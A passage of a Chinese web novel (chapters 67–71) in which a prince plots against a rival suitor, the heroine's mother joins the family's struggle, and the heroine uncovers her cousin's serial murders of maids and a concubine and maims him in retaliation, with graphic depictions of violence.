只见一身战甲的萧鸿深从门口进来,一看便是刚从训练场下来。 他看见从欢的一瞬间,眼底闪过厌恶,语气也跟着不耐烦:“你怎么过来了。” 从欢心急如焚:“七皇子大事不好了,不好了……小姐她……” 仆人正在给他脱下战甲,一听事关燕晚清,萧鸿深皱眉:“你家小姐怎么了?” 从欢一口气没上来,用力拍打自己的胸口,萧鸿深满眼都是不耐烦,示意仆人给她倒杯热茶,服下热茶后,从欢才缓过来。 “圣旨到了,要给小姐和北疆侯赐婚。” “什么!”萧鸿深这下子彻底不淡定了,满脸寒霜:“你再说一遍!” 上次他进宫请求父皇赐婚,父皇都没有应允,怎么这次突然给燕晚清和北疆侯赐婚了。 从欢便将自己今日听到的诏书内容磕磕绊绊的念了出来:“……现在念诏书的徐公公还在府内,还没有走呢。” 萧鸿深扯下身上的战甲猛地摔在了地上,大手直接狠狠拍在案几上,瞬间案几四分五裂,他挤出一抹阴翳的笑容。 “简直是岂有此理!” 这段时间他忙于其他的事情,父皇最近的身体越来越不行了,他耗费了绝大部分的时间和朝中大臣联络感情,谁知道竟然被一个名不见经传的北疆小侯爷给他挖了墙角。 燕晚清若是嫁给北疆侯,那么北疆那边便能直接在京都拥有自己的宅院了。 那个瘦弱的小侯爷没想到城府竟然这般深沉。 萧鸿深越想越气。 燕晚清只能是他的。 北疆侯何德何能? “就凭他,他也配!”萧鸿深冷笑一声。 从欢在一旁喝光了水杯里的热茶,一滴不剩,谄媚的上前附和道:“那小侯爷还不如殿下一半威武,除了有一张好看的脸,看起来一无是处,也不知道小姐究竟看上了他哪一点,竟然被这种人迷的晕头转向。” “你的意思是这桩婚事老师是自愿的?”萧鸿深说这话的时候,整个屋子的气压都低了三分。 从欢被吓得大气不敢喘一声。 萧鸿深却直接用手掐住了她的脖子,阴森森的说道:“本殿让你盯着老师的一举一动,事无巨细的汇报上来,你却让人在你的眼皮子底下跟她生了情,卑贱的奴才,你就是这么办事的?!” 他难以想象老师那般风清月明的人,也会动了凡心,还是对一个毛都没有长齐的矮子。 这样想着,手上的力气越用越大,掐的从欢双眼外翻,几乎就要晕死过去,她奋力用手去撕扯萧鸿深的衣襟,满脸泪水:“求,求殿下……饶,饶命……” 眼看着人就要被直接掐死过去,命悬一线之际,萧鸿深突然松开了手。 从欢像是一块破布瘫软在地上,拼命喘息咳嗽,呼吸着久违的空气。 下一秒她上前抱住萧鸿深的大腿,求生欲让她现在大脑疯狂运转。 一定有什么东西是她忽略掉的。 这个东西能救她的命。 从欢扒着萧鸿深的脚,大口呼吸,喉咙像个破风箱呼哧呼哧的喘着热气。 “……小姐,小姐她没有动情。” 好半饷她挤出这么一句话来。 萧鸿深抬脚将她踹开,冷笑:“真当本殿是个软柿子,连个丫鬟都妄想来欺骗本殿,来人把这卑贱的东西丢后院蛇窟里去。” “殿下!”从欢眼看着有人过来拉她,她赶紧扯着嗓子喊道:“小姐没有对北疆侯动情,他们之间一定有秘密!” “秘密?”萧鸿深来了兴趣,挥手让人松开从欢。 从欢赶紧上前重新抱住萧鸿深的腿:“小姐近日里一直咳血,身体一天不如一天,与北疆侯关系变好也是突然一夕之间,他们之间肯定是达成了某种交易。” 萧鸿深细品从欢说的每个字,眼中都是算计。 “听闻北疆人善蛊,难道是怀玉给老师下了蛊?” 从欢哪里知道什么蛊,但是求生**让她一直点头:“肯定是这样的,那北疆侯一看就不是好人,一定是对小姐使用了龌龊法子,才哄得小姐团团转的。” “若是这样,这个怀玉可真该死!”萧鸿深眼中闪过杀气。 “那本殿再信你一次。”萧鸿深居高临下的看着从欢:“你起来吧。” 从欢如临大赦,松了一口气,赶紧从地上爬起来,低着头不敢看萧鸿深。 只听见七皇子恢复了往日的平和,对着她轻轻说道:“瞧你姿色倒是还不错。” 从欢听到七皇子夸自己,脸颊慢慢升起红晕:“多谢殿下夸奖。” 萧鸿深看着她脸红像是看到了什么脏东西,眼底充满了厌恶:“你去勾引北疆侯,势必让这桩婚事成不了,若是再办事不利,你应该知道等待你的会是什么下场。” 勾引北疆侯? 从欢心突然一下子凉了下去,泪水在眼眶中打转。 “……能不能换一个法子,奴婢心中只有七皇子殿下,求殿下垂怜啊。” 心中只有他?一个下贱的仆人,竟然也敢肖想自己,简直是让他恶心。 萧鸿深听着,心里一阵反胃,却依旧面不改色:“那你更加应该办好本殿交给你的事情才对。” 从欢咬着下嘴唇,泪水扑簌簌的落下,此刻比刚刚更加让她难受。 “做不到?”萧鸿深声音冷下来:“做不到就去蛇窟喂蛇!” 从欢听完立刻跪下:“奴婢做得到,做得到!” 第六十七章 山雨欲来,孙氏脱下佛珠 萧鸿深看着从欢掩面走了出去,那边又有仆人跑过来汇报:“殿下,燕家二爷在外面候着了,可要让他进来?” 燕安过来也是跟萧鸿深说圣上赐婚的事情。 萧鸿深满脸都是不耐烦,燕安也是个混账东西,成事不足败事有余。 于是他直接摆手:“不见。” 燕安左等右等,站在寒风中瑟瑟发抖,总算是看见刚刚进去汇报的人出来了。 “七皇子回来了吗?我这里有大事汇报啊。” 那下人冷着脸:“殿下外出还没有回来,这位大人还是隔天再来吧。”说着便让人直接带着燕安出去了。 燕安眼瞅着马厩中那匹七皇子专属的马匹已经在吃草,而且还是新鲜刚换的,心里就清楚七皇子不愿意见他了。 他当下也冷着脸,走出了七皇子府,看着紧闭的大门他冷哼着甩了甩袖子。 “真是狂妄小儿,好歹也是四品官员,竟然如此怠慢,岂有此理!” 他眼巴巴的等徐公公走了,赶紧过来汇报消息,谁知道竟然是这番态度。 不过好在现在燕民生已经救出来了,他现在也不着急投靠谁了。 如今朝堂之上,七皇子和太子殿下泾渭分明,如今皇帝的身体又一日不如一日,那国师大人三天两头的外出说是给圣上寻求天地灵宝,用来炼丹延年益寿,可是谁知道呢。 燕安这样想着心里也得意起来,迟早有七皇子求上他的时候。 他心中舒坦了,哼出小曲儿,朝着镇国府相反的方向走去。 再说镇国府内。 佛堂内。 燕晚清像个做错事情的小孩子,一直乖巧的站在门外,门内是孙氏跪坐在草垫上,专注的诵经念佛。 已经一个多时辰了,她站的双腿发麻,从歌几次想过来扶她,都被燕晚清用眼神制止住。 终于孙氏起身,燕晚清双眼一亮。 “进来吧。”孙氏开口道。 燕晚清赶紧跨过门槛,走了进来:“母亲。” 孙氏听见她喊,满脸的漠然终究还是瓦解了,她叹了一口气:“你向来是有主意的,如今选择北疆侯府,可是与怀玉又有了其他的谋划?” 燕晚清上前拉住孙氏的手,却被她反握在掌心里。 “穿的如此单薄,手脚都是冰凉,你这狠心的丫头,用计竟然用在了你母亲头上了。”孙氏忍不住用眼神狠狠的瞪了她一眼。 燕晚清自知理亏,吐吐舌头,温顺的开口:“什么事情都瞒不过母亲,女儿确实与怀玉之间有交易,只是现在不能跟母亲说,母亲只需知道现在女儿做的一切都是为了镇国府打算。” “千机之毒,你就是在为燕家打算,如今嫁人也是……”孙氏眼中都是沉痛,也带着些许怒气:“燕家怕不是只有你一个能人,事事都需要你冲在前面,你把你母亲想的未免也太无能了。” 燕晚清被骂了一嘴,她不敢吭声。 “说吧,你与怀玉究竟在策划什么事情。”孙氏自从上次南山大火心里就憋着这股子气,眼下这个大女儿又瞒着自己,心里更加不舒服了。 倘若不是刚刚念了一个时辰的清心咒,只怕现在她已经上家法了。 燕晚清见惯了母亲平日里的温和有礼,慈母模样,眼下这般严厉是头一次,不免有些发憷。 往日在家中都是父亲唱黑脸,母亲唱白脸,严父慈母的,今日怎么不一样了。 “说!”孙氏一声呵斥。 燕晚清被吓了一跳:“母亲……” “别忘了,镇守雁门关的人不只是你的父兄,还有你母亲的兄长,丈夫和儿子,你不应该将我排除在外。”孙氏沉声道,眼眸深处是从未有过的深沉。 “当时诏书下来之前,我便与你父亲提出要告老还乡,你父亲也同意了,却没有想到诏书来的这般快,而且不光是镇国府,连带着将军府也一起去了雁门关,除了孙家嫡长子骑马摔断了腿留在了家中,咱们燕孙两家的男子悉数都被派了出去,这其中没有点什么东西,那才是有鬼。”孙氏冷哼一声:“你当只有你看清楚的局势么?” “眼下寒冬腊月,塞外却一丁点消息都没有传回来,朝堂上下波涛汹涌,七皇子和太子夺嫡之争,你如此紧要关头选择和怀玉成亲,便是要直接将镇国府摘除这场暗流,可是你忘了一件事情。”孙氏面色沉静,如临大敌。 燕晚清心中一紧:“母亲请说。” “这本就是针对燕孙两家来的风暴,躲是根本躲不掉的。”孙氏一字一句的说道:“母亲只盼你不要病急乱投医,拉北疆侯府下水,他们远在北疆,本可置身之外摘得干干净净,避过这场祸事的。” 孙氏的话在燕晚清耳边炸开,如惊雷一般让她醍醐灌顶。 可就在这时,门外突然走进来一道人影,分明就是担心燕晚清而寻来的怀玉。 也不知道她在外面听了多久,径直进了佛堂,将门全部关上。 她在孙氏惊诧的目光中,伸出手扯掉了发冠。 燕晚清惊呼:“怀玉!” 三千发丝悉数散落,将本就阴柔的面庞衬托的越发娇媚,怀玉走到孙氏面前,双膝跪地,从怀中掏出了一封信,递给了孙氏。 “这是家母交给给姨母的一封家书,姨母请看。” 孙氏紧皱眉头,无法相信眼前的一切:“你,你怎么……” 燕晚清见事情变成了现在这般,忍不住叹息:“母亲先看信吧。” 好在孙氏也是见过大风大浪的人,她从怀玉手中拿起信笺,缓缓拆开,一目十行将信上内容悉数看完。 好半饷,她才找回自己的声音。 “北疆……竟然严峻到这种地步了?” 怀玉沉重的点头:“母亲已经护不住我了,所以才会让我借故上京,躲避灾祸。” 孙氏捏紧掌心,她眼底都是暗火,冷笑一声。 “一群见不得光的肮脏老鼠,都忘了当年是怎么活下来的了,竟敢生出这般龌龊的心思!” “本就是强弩之末,姨母不必担心北疆会被连累,此番一荣俱荣,一辱俱辱,我的秘密也是一个定时炸弹,眼下已经没有任何退路可走了。” 孙氏闭上眼睛,脑海中闪烁着当年的一些画面。 睁开眼后,恢复了平静。 她伸出手将怀玉从地上拉起来。 “这些年,苦了你和你的母亲了。” 怀玉喉间哽咽,摇了摇头。 孙氏将手中的佛珠串子轻轻放在了佛堂案几上,又行全礼跪拜三下,然后一手拉着燕晚清一手拉着怀玉,走出了佛堂。 佛堂内的弥勒依旧慈祥,那串佛珠被彻底遗忘在了案几之上。 孙氏,不再需要它了。 第六十八章 院中血雨,不人不鬼的燕民生 孙氏雷霆手段,立刻就开始给燕晚清准备嫁妆,库房里的东西一件一件的搬出来,看的燕刘氏和老太太眼红病又犯了。 “娘,嫁个女儿需要这么多嫁妆吗?都要把整个家底都掏空了,往后家里还怎么生活啊。”燕刘氏酸溜溜的说道。 老太太看着院子里满满当当的箱子,心里也十分舍不得。 “嫁一个女儿是这样,后面还有好几个,往后家里岂不是要吃糠野菜了。” 两个人都在为后面的生活操心,就看见宋姨娘又让人搬了两箱子东西送了过来。 “都是这些年攒下来的,晚清出嫁妹妹也没有什么东西好送的,只有这些了。”宋姨娘说着眼角有些湿润。 孙氏是知道真实情况的人,看着宋姨娘这般热络,她说道:“红昭就要及笄了,你这压箱底都给晚清了,她出嫁你这个当娘的怎么办?” 宋姨娘被问的脸红:“以后再说,现在可管不了这些,今日妹妹高兴,姐姐可不许再说了。” 说着她让人将箱子放下,里面没有多少贵重的东西,也是这些年她小心翼翼攒下来的,能够全部拿出来,就足以说明宋姨娘心中对燕晚清的看重。 不过这个举动落在燕刘氏的眼中却有些变了味。 她小声说道:“一个姨娘就能攒下这么些个值钱的东西,说明这几年掌管镇国府没有少偷拿啊,嫂子真是的,还眼巴巴的上赶着谢人家呢。” 眼下民生在家里养伤,正是要好好补身体的时候,可是厨房却非说家里没有山珍海味,这可怎么行。 堂堂镇国府每日只是一些鸡汤,说出去真是磕碜。 就连在虎丘,他们民生也是顿顿野山鸡呢。 来了镇国府,反倒是生活质量下降了,燕刘氏把这件事情全部归于是宋姨娘中饱私囊了。 她心里不舒服,便在老太太耳边念叨:“这个家要是再被这姨娘操持下去,以后的日子可怎么过啊。” “是时候要把掌权拿回来了,孙氏若是不想管,那老身亲自来管。”老太太杵着拐杖说道:“再怎么说也轮不到一个姨娘在家里指手画脚。” 燕刘氏眼中闪过得意的神色,赶紧又拍了拍马屁。 很快民生在家中的生活就能好起来了。 “娘在这里看着,我去看看民生那边。” 燕民生在大理寺被折磨的不轻,抬回来的时候被打的皮开肉绽,整个人都受了好几圈,再不如之前的圆润。 燕刘氏走进院子的时候,只能听见屋里面传来婢女尖锐的惨叫声。 她愣在了原地,没有立刻推门进去。 等到里面不再有任何动静,燕刘氏才让小厮开了门,很快两个人小厮便拖着一个丫鬟的尸体从门里面出来了。 燕刘氏用帕子捂着鼻子,走进了带着血腥气的屋内。 屋子里很是昏暗,窗户都用黑布紧紧的包裹着,不让一丝阳光射进来。 只见里屋床榻上瘫坐着一个人影,披头散发,好似一个恶鬼。 饶是燕刘氏知道这是自己的亲生儿子,她也吓得够呛。 “民生啊,晚上想吃点啥?娘亲让厨房的给你做啊。”她带着讨好的语气开口说道。 燕民生一声不吭。 燕刘氏想着又开口道:“过会儿娘亲再给你找几个丫鬟过来,可行?” 这回燕民生点了点头。 看着满地的鲜血,燕刘氏不敢多留,招呼着小厮上前赶紧把地上收拾干净了,才捂着胸口尽量用轻柔的语气说道:“一个不行就多试几个,反正府内丫鬟多得是,儿子你别怕,娘一定会找人治好你的。” 燕民生听到这话,突然嚎啕哭出声,声音沙哑尖锐难听,好似一个锥子敲打着太阳穴,让人十分难受。 燕刘氏被他吓得连滚带爬的出了房门。 等到那扇门被合上,她站在阳光底下才松了一口气。 用帕子捂住眼角,忍不住又跟着哭了一会儿。 谁能想到在大理寺呆了几日,她儿子的那方面就废了,这可怎么传宗接代啊。 京都找了一圈大夫都说治不了,燕民生偏偏喜欢上了折磨女人。 这才几日,已经死了五六个丫鬟。 发现第一个的时候,燕刘氏很是慌张,让人将尸体丢到了后院的荒井中,紧接着便是第二个第三个一直到刚刚的第六个。 眼下她已经不再慌张,镇国府家大业大,死几个丫鬟也没有关系。 只不过这么下去也不是个事情,还是得去外面多找些女人回来给儿子泄愤才行。 燕刘氏这样想着,但是她手里又没多少钱。 “希望老太太赶紧把家里的掌权要过来。”这样她手里才有充足的钱去干这件事情。 眼下燕安不在家,正是她和儿子需要他的时候,不知道去哪里鬼混了。 “……女人,我要女人,给我女人!”屋子里又传来燕民生宛若厉鬼的声音,燕刘氏吓得半死,但是却没还含糊,朝着小厮使了个眼色,便看见两个小厮从旁边的房间里,抓住一个嘴上缠着布条的女子塞了进去。 紧接着屋内又是一阵尖叫。 燕刘氏擦了擦额头上的汗水,赶紧从院子里出去了。 可是好巧不巧,刚好碰到了回去的宋姨娘。 宋姨娘一看见燕刘氏,就下意识的往后躲,她还记得上次自己被打的事情。 燕刘氏本不想与宋姨娘多说一句话,就在这时,身后的院子突然窜出来一个人影,赫然就是刚刚被抓紧去的丫鬟。 虽然很快就被发现及时的小厮捂着嘴拖进了院子里,但是这个画面已经被宋姨娘看了清清楚楚。 宋姨娘愣在了原地。 “这是?”她皱着眉头。 燕刘氏赶紧上前挡住了她往后看的目光,冷下声音说道:“跟你没有关系,赶紧滚!” 宋姨娘却难得没有软弱下去,她一脸正色:“那是府内的丫鬟,你们在干什么?” 她说着就想要过去看看。 燕刘氏见宋姨娘身边只带了一个丫鬟,周围又没有人,今日燕晚清和小侯爷出门了,孙氏估计这会儿也带着燕子濯去了孙家,而宋姨娘那个能打的姑娘此刻也不知道在哪里。 她眼中露出阴恻恻的笑意。 这不是上赶着要给她来送命么。 只要宋姨娘死了,那么镇国府的掌权势必会更加顺利的回到老太太手中。 一旦落到老太太手中,按照老太太的性子,多半会交给她打理。 这样想着,燕刘氏挤出一滴泪来:“我也是没有办法啊,民生变成现在这个样子,为娘的更是心如刀绞,妹妹你是大户人家出来的,能不能去帮我劝劝孩子。” 宋姨娘早就着急那丫鬟被弄到了何处,再听院子里不断传出不明意味的声音,她抬脚便走进了院子里。 燕刘氏看着她的背影,冷笑一声,看到那主仆二人进了燕民生的房间,抬手便让小厮将门给关上了。 宋姨娘意识到不好,赶紧回过身去拍门。 “干什么!快开门!” 旁边的丫鬟也大惊失色,开始用力用身体去撞门,就在这时,她们身后投下一片阴影。 只看见一个浑身是血,手里拿着刀的男人站在了她们身后。 “啊——”尖叫声! 第六十九章 出大事了,后院荒井全是死人 燕红昭红着眼睛过来找燕晚清的时候,已经是第二日的中午。 她直接抱住了燕晚清:“阿姐,姨娘不见了。” 宋姨娘不见了? 燕晚清愣住:“你什么时候发现的?怎么会不见,门房可有看见人出门。” 她问着身边的从歌,从歌摇头。 宋姨娘从来都是深入简出的,在外面也没有熟人,除了会在月初的时候出去看看铺子账本,很少出门。 燕红昭昨日回来的很晚,今日早上去姨娘屋子里的时候,就发现整个屋子都是一尘不染,再摸那铺子,根本没有余温。 “软陶也找不到了。”燕红昭意识到事情不好,没了主心骨的她立刻选择来找燕晚清商量。 燕晚清摸着她的头安抚,然后让从歌赶紧派人去院子里找找。 “别担心。” 说着不担心,但是燕晚清却觉得这件事情发生的很突然,很可怕。 镇国府的下人们问了一遍又一遍,才串联出来昨日宋姨娘的路线。 天还未亮的时候,她先去厨房里看了看今日采办的食材,吩咐厨房根据各个院子的口味,今日要特意做些什么吃食,早膳之后她又去账房盘算结账,给门房丫鬟小厮们发放这个月的银钱,紧接着便是将自己准备好给燕晚清的嫁妆送到了孙氏那边,和孙氏分开之后,宋姨娘是打算回去小憩的,线索就在这里断了的。 就是说,宋姨娘凭空消失在了镇国府。 这件事情简直是天方夜谭。 燕晚清盘问了一天,等天色晚了,依旧没有问出宋姨娘究竟是在哪里不见的。 燕红昭哭红了双眼,此时已经有些呆呆愣愣,坐在椅子上,往桌子上一趴,整个人不知所措。 这个画面着实让燕晚清心疼不已。 前世姨娘并没有出现过这种事情,所以她并没有办法去提前推算预判。 “好好一个大活人,竟然不见了!”燕晚清猛地将手中的茶盏摔碎在地上,整个院子里的下人吓得浑身一颤。 怀玉赶紧过来给她安抚:“别担心,一定会有迹可循的。” “这下人都问了好几遍了。”燕晚清冷着一张脸说道。 就在这时有家丁连滚带爬的跑进来。 “不好了小姐,不好了!出大事了,后院荒井里全都是死人!” 燕晚清只觉得眼前一黑,她用力掐着手掌心才没有昏过去。 家丁们被燕晚清命令搜索整个镇国府,起初大家只是搜有人住过的地方,紧接着便开始全面搜索,等到天黑了,一个家丁看到枯井上面有血迹,这才发现了里面的尸体。 “你说什么?!”燕晚清强忍住舌尖的血腥气,问道。 …… 烛光之下,荒草丛生的院子里,七块白布整整齐齐的盖在地面尸体上面。 燕红昭跪在宋姨娘的尸体前,掀开白布后又突然盖上,随后扑在上面几乎哭晕过去。 燕晚清面色铁青的看着这七具尸体,眼前一片血色。 随后她疾步往回走,怀玉担心她,也跟了过去,只看见她回到屋内,二话不说抄起了案板上供奉的一把长剑,然后提起裙摆直接出了门。 怀玉见她这个架势,大叫一声不好。 镇国府发生了这般大的事情,此刻孙氏不在府内,她又赶紧吩咐人去将军府去请孙氏回来。 燕晚清拿着剑直接就踹开了二房的院子。 此刻燕安正在和燕刘氏用晚膳。 燕刘氏将剥好的虾子塞进了燕安的嘴里,燕晚清进来的时候吓得她连手指都一并塞了进去。 燕安缓过神来,赶紧吐出燕刘氏的手指。 看着燕晚清手里提着剑,他面色不善:“你这是做什么?!大晚上提着剑找你二叔,你想像话吗?怎么着上次气没撒够,今日想砍我几下不成?!” 燕晚清见他吹胡子瞪眼睛,双眼猩红:“宋姨娘不见了,人已经消失一天了,你们可有看见?” 燕安一头雾水:“宋姨娘是哪位?”府内有这号人吗? 燕刘氏赶紧在燕安耳边说道:“就是你大哥的妾室。” 燕安更是疑惑:“我大哥何时纳妾了?” 燕刘氏见说不通,只得对着燕晚清摇头说道:“不曾见到,今日你二叔二婶都出门了,忙了一天才回来,哪里知道宋姨娘的踪迹。” “是么?”燕晚清看着燕刘氏逼问道:“先前宋姨娘可是与二婶有过过节,二婶当真不知道姨娘去哪了么?” 燕刘氏听到这话,瞬间愤怒:“你这是什么意思?怀疑到你二婶头上了是吧!” “没大没小的东西,一个妾室,你也敢过来质问你二婶!”燕安觉得燕晚清真是莫名其妙,大晚上又发疯。 燕晚清仔细的看着燕刘氏的神情,从剑鞘中拔出长剑,剑尖直指那燕刘氏的脖颈,语气森然。 “我最后再问你一边,宋姨娘在哪!” 宋姨娘平生不和人结怨,非说要有,那就是燕刘氏,这也是为什么燕晚清拿着长剑就直奔而来的原因。 燕刘氏早就不满宋姨娘掌管镇国府事务,所以她有对宋姨娘下手的动机。 燕刘氏见剑都拿出来了,吓得不轻,面色苍白,肥胖的身躯颤抖不止。 此时燕安赶紧上前,他将桌子上的酒盏往地上一摔:“燕晚清你魔怔了!你敢拿着剑指着你的长辈,简直是岂有此理,我要告御状,将这件事情告诉圣上,让圣上去评理!” 燕刘氏见状,立刻往地上一坐,开始嚎啕大哭起来。 “简直是没天理了啊,我的命怎么这么苦啊……” 她的声音洪亮,宛若猪叫,让本就气血翻涌的燕晚清,剑都拿不稳,整个人往后踉跄了一步,一丝鲜血从她的唇间溢出。 “晚清!”危急时刻怀玉立刻出现,扶了一把燕晚清。 她看着屋内的场景,再看燕晚清的状态,担忧不已。 “我没事。”燕晚清将喉间鲜血生生咽了下去,看着燕刘氏在地上哭嚎,眼神游移,分明是做了鬼事。 她逼问不得,但是燕刘氏也有软肋。 燕晚清勾唇扯开一丝鬼魅的笑容:“我给过你们机会的。”说着她提剑直接离开。 燕刘氏心中惴惴不安,赶紧追了过去,只听见不远处的院子里传来一声男子的惨叫。 燕刘氏眼前一黑,差点瘫软过去,她连滚带爬的走进院中。 只看见燕民生跪在地上,双手捂住下身,地面血流成河。 燕刘氏惨叫一声,直接晕了过去。 燕安根本没有想到燕晚清竟然能够做出这种事情,手在空中忍不住的颤斗,紧跟着双眼也变得猩红起来,他猛地扑上去:“我要杀了你!” 第七十章 近主子身者,杀 只是燕安如何近得了燕晚清的身,刚扑过去便被怀玉给一掌推了出去。 “二爷冷静。” 燕安此时已经癫狂,大声骂道:“你叫我如何冷静!也不看看她做了什么事情!” 亲手用剑绝了他的后啊! 看着跪在地上痛苦哀嚎的燕民生,燕安眼里全都是毒辣。 “我要杀了她,我一定要杀了她!”说着他开始在周围找能够趁手的东西,枯枝、石头都被他拿起来又放下,最后抢过一个家丁手里的木棍,他朝着燕晚清冲了过去。 结果是显而易见的,燕安一个身体发福的中年男子自然不会是怀玉的对手,被她一脚踢飞了木棍,然后再一掌直接打在胸口,摔倒在了地上。 燕晚清手里的长剑还在淌血,她看着那滴滴血珠,目光森冷冰寒。 “那你要不要看看你的好儿子做了什么事情!” 她让人踹开门之后,看见燕民生趴在一个已经咽气的丫鬟身上起伏,手中的匕首还在不断的刺入丫鬟的身体,噗嗤噗嗤的利刃入体的声音,让人头皮发麻……所以她几乎不假思索,便直接让人提到了院子中,一剑结束了“恶”的起源。 早就该死的。 在他提议孙文兴虐杀柴姝的时候,就该让他死去的。 燕晚清后悔了,她不该用心计去逼迫柴右妥协,最终让宋姨娘和家中的丫鬟吃到了恶果。 这是老天爷,对她心狠手辣的惩罚。 满院子的人看着屋内被抬出来一个鲜血模糊的丫鬟,即使盖着白布,鲜血依然迅速渗透出来,在火把的映衬下凄凉又可怖。 突然一只手露了出来,手腕上带着一个翠绿的镯子,大半都被鲜血淋漓。 众人还在猜想这白布之下的是谁,燕刘氏却立刻瞪大了眼睛。 这是她的贴身丫鬟。 燕刘氏眼中都是泪水,她看了看跪在地上捂着下面痛苦哀嚎的儿子燕民生,又看了看那白布之下的尸体,最终咬咬牙,什么都没有说。 可燕安却不是这么认为的。 他从地上爬起来,老泪纵横,语气恶毒:“不过是个丫鬟,死了便是死了,你就因为一个丫鬟,拿剑废了你哥哥?!” “不就是丫鬟?呵……”燕晚清听罢,双眸微敛,她仿佛听到了什么脏东西,小脸上满是不可置信:“柴姝的死的时候,你们说不过是个青楼女子,丫鬟死的时候你们说不过是个丫鬟……可是姨娘呢?宋姨娘死了,你们是不是还要说不过是个妾室?!” “宋姨娘?!她怎么了……”燕安愣住,显然没有反应过来。 燕晚清捏紧手中的长剑,她冷冷的看着燕安:“死了,我五妹的生母,死了……被你儿子杀了。” 同样的死法,同一把匕首。 “你没有证据!”燕刘氏再也听不下去,声嘶力竭的吼道,她瘫软在地上起不来,但是胜在声音大:“你不过是看见他杀了一个丫鬟而已,何曾看到他杀了姨娘?!” “你有什么证据……”燕安话音刚落。 便看见燕晚清抬起另外一只手,长袖下面露出一柄鲜血淋漓的匕首,将她的掌心都染红了。 只见她面色冷凝,双眸阴翳:“这就是证据,燕民生杀人的证据!” 看到匕首的瞬间,燕刘氏不知道从哪里来的力气,猛地从地上爬起来,就朝着燕晚清扑上去。 此时怀玉正在一旁查看尸体身上的刀伤,此刻过去已经是来不及。 但是看燕晚清丝毫不慌张,她看着燕刘氏像是一头野猪铺了过来,甚至都没有后腿一步。 只听见薄唇微勾,清冷的声音响起:“红雾。” 下一秒便看见身穿一身暗红的女子,好似一道闪电出现在燕晚清的身前,没有人看清楚她的动作,燕刘氏便被她掐着脖子提在了空中。 众人大惊,燕刘氏五大三粗,跟个小山一样,此女子竟然能够不费吹之力见她举起来,其武力值不可小觑。 “近主子身者,杀!”红雾瞳孔骤缩,杀机四起。 燕安大惊失色,忙出声看向燕晚清:“住手!她可是你二婶!” 燕晚清舌尖抵着虎牙,舌尖生疼,终究还是开口:“松手,红雾。” 红雾立刻松手,燕刘氏轰然倒地,连声咳嗽,燕安嫌恶的让人将她带到了后面去,看着燕晚清的神色越发晦暗不清。 “大哥将那支暗卫留给了你。”他突然开口道。 燕晚清冷笑着扫了一眼自己的二叔,自己的儿子被废,妻子被打,他还能有心情问暗卫的事情,不愧是燕家最冷血的人。 平日里的庸碌无能都是装的,遇到关几的事情,便绷不住了。 “是,又如何?二叔要跟我抢?” 说到抢这个字的时候,她几乎是毫不掩饰的露出了杀意。 这是父亲留给她的暗卫,及笄那年已经死伤无几,这几年她重新发展起来,燕安若是想和她抢,也要看看自己有没有命接过去。 燕安抿住唇不说话,一张脸在火光之下晦暗不明。 燕晚清却没有心情再去看他了,燕民生在燕家连杀带宋姨娘在内八人。 这可是轰动京城的大案。 若是不能处理好,燕家顷刻间便能覆灭。 “从现在开始,镇国府只能进不能出,任何人都要管住自己的嘴巴,但凡让我听到外面有一丁点今天的风声,你们是知道我的手段的。”燕晚清环视着周围窃窃私语的丫鬟仆人说道。 此话一出,瞬间鸦雀无声。 镇国府的人自然是是清楚燕晚清的手段的,早几年在战场上杀过人的,当年提着敌方将士首级直接策马回京的画面,还在府内一些老人记忆中不可磨灭。 所以听到燕晚清的警告,下人们立刻噤声了。 见场面控制住了,燕晚清冲着红雾说道。 “把燕民生带进来!” 燕刘氏一听便是嚎啕大哭,她爬过来摇晃着燕安的身体。 “老,老爷……儿,儿子他……” 燕安显然也知道事情的严重性,所以冷静下来,这是他的嫡长子,燕民生此番行为,他受直接牵连,好不容易回到了京都,他说什么也不想再回到那个地方受苦了。 哪怕燕刘氏再怎么摇晃他祈求,他依旧抿着唇没有再吭一声,再去阻挡燕晚清。 燕刘氏见状,赶紧跟着进了屋。 屋内被火把照的大亮。 此时怀玉才看清楚屋内的场景。 入眼便是满地的瓷器碎片,还有已经发黑干涸的血迹,不难看出,燕民生究竟在这个房里都干了什么罪恶滔天的事情。 “这个人渣!”怀玉红了眼。 第七十一章 是她杀的,不是我 燕晚清面色苍白,神情冷凝,双眼泛红却异常的坚定。 她抬手,让人端了一张凳子放在了屋中,然后看着燕安。 燕安心里咯噔一声,却没有动。 “二叔身为家中唯一在朝四品官员,此件事情关系重大,二叔若是不能做决断,那便只能交给大理寺了,届时燕家如何,二叔心里应该很清楚吧。”燕晚清一字一句的说道。 燕民生连杀八人的案子要说谁审,此时此刻,燕安无疑是更合适的人选。 大渭历来女子不参与朝事,燕晚清已经足够锋芒毕露了,这种事情不适合冲在前面。 燕安双手攥拳,他眼睛猩红,喉间忍不住发出哽咽。 “……你,好啊,你这是要把你二叔放在火上烤啊!”让他亲自审问自己的儿子,何其残忍! 他踌躇间,只听见燕晚清冷笑:“那我便不为难二叔了,来人,去报官!” “慢着!”燕安疾呼:“你这是要干什么啊!燕晚清,你当真如此冷血?不顾燕家百十来口人的性命?!” 这要是捅到了大理寺,只怕会直接到圣上耳朵里,到时候不管真相如何,燕家都逃不过一劫,横竖他这个儿子是保不住了啊。 燕安掩面,面色灰白的朝着那把椅子走去。 此刻燕民生像是一下子醒了过来,他双手是血,一把抓住从自己身边走过去的燕安的裤腿。 “父亲!父亲救我啊父亲!”他大声喊道:“不是孩儿杀得啊父亲,不是孩儿!” 燕安大怒,一脚蹬开他的手,怒喝:“不是你又是谁!此番人证物证确凿,留的你在这里胡搅蛮缠!” 燕民生躺在地上,躺在众目睽睽之下,只觉得大家的目光都带着恶意看着自己,眼眶一下子就湿润了。 他已经顾不上疼痛,此刻只想抓住最后救命的稻草。 四下环顾之后,他突然表情狰狞,指着门口。 “是她,是她做的,人都是她杀的!不是我!” 燕晚清顺着他手指的方向,看到了面色苍白,满脸震惊的燕刘氏。 她嘴唇像是冬日里的腊肠一般抖动了两下,手在空中朝着燕民生抓了两下。 “……民生啊……” 燕民生却不顾自己母亲的呼喊,他在地上连跪带走的重新跪在了燕安的面前。 “父亲,都是她,不是孩儿啊,父亲你要救救孩儿,孩儿还年轻,不想死啊……” 燕安低头看向燕民生的表情就像是在看一个怪物。 “你可知道你在说些什么?” 燕民生此刻已经失去了理智,一心只想活命:“是母亲做的,都是她做的,孩儿是无辜的,父亲你从小看着孩儿长大,还不知道孩儿是什么样子吗?父亲,你救救我,我不想死,父亲!求你了!” 此时燕晚清在一旁已经听不下去了,她抄起手边上的长剑,冷笑道:“看来废了你只是轻的——” 